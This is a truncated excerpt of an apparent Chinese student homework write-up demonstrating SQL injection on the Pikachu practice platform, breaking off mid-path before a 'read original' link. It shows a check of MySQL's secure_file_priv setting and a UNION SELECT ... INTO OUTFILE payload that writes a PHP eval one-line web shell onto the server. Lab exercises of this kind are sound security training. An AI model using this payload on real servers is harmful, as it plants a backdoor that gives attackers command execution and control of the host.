第六週作業

一、sqli漏洞演示： 1.通過SQL inject漏洞寫入惡意代碼 默認情況下：secure_file_priv是關閉的 首先通過show global variables like ‘%secure%’; 然後切會pikachu做測試 獲得操作系統權限： allen’ union select " <?php @eval($_GET['test'])?>",2 into outfile 「/v

>>阅读原文<<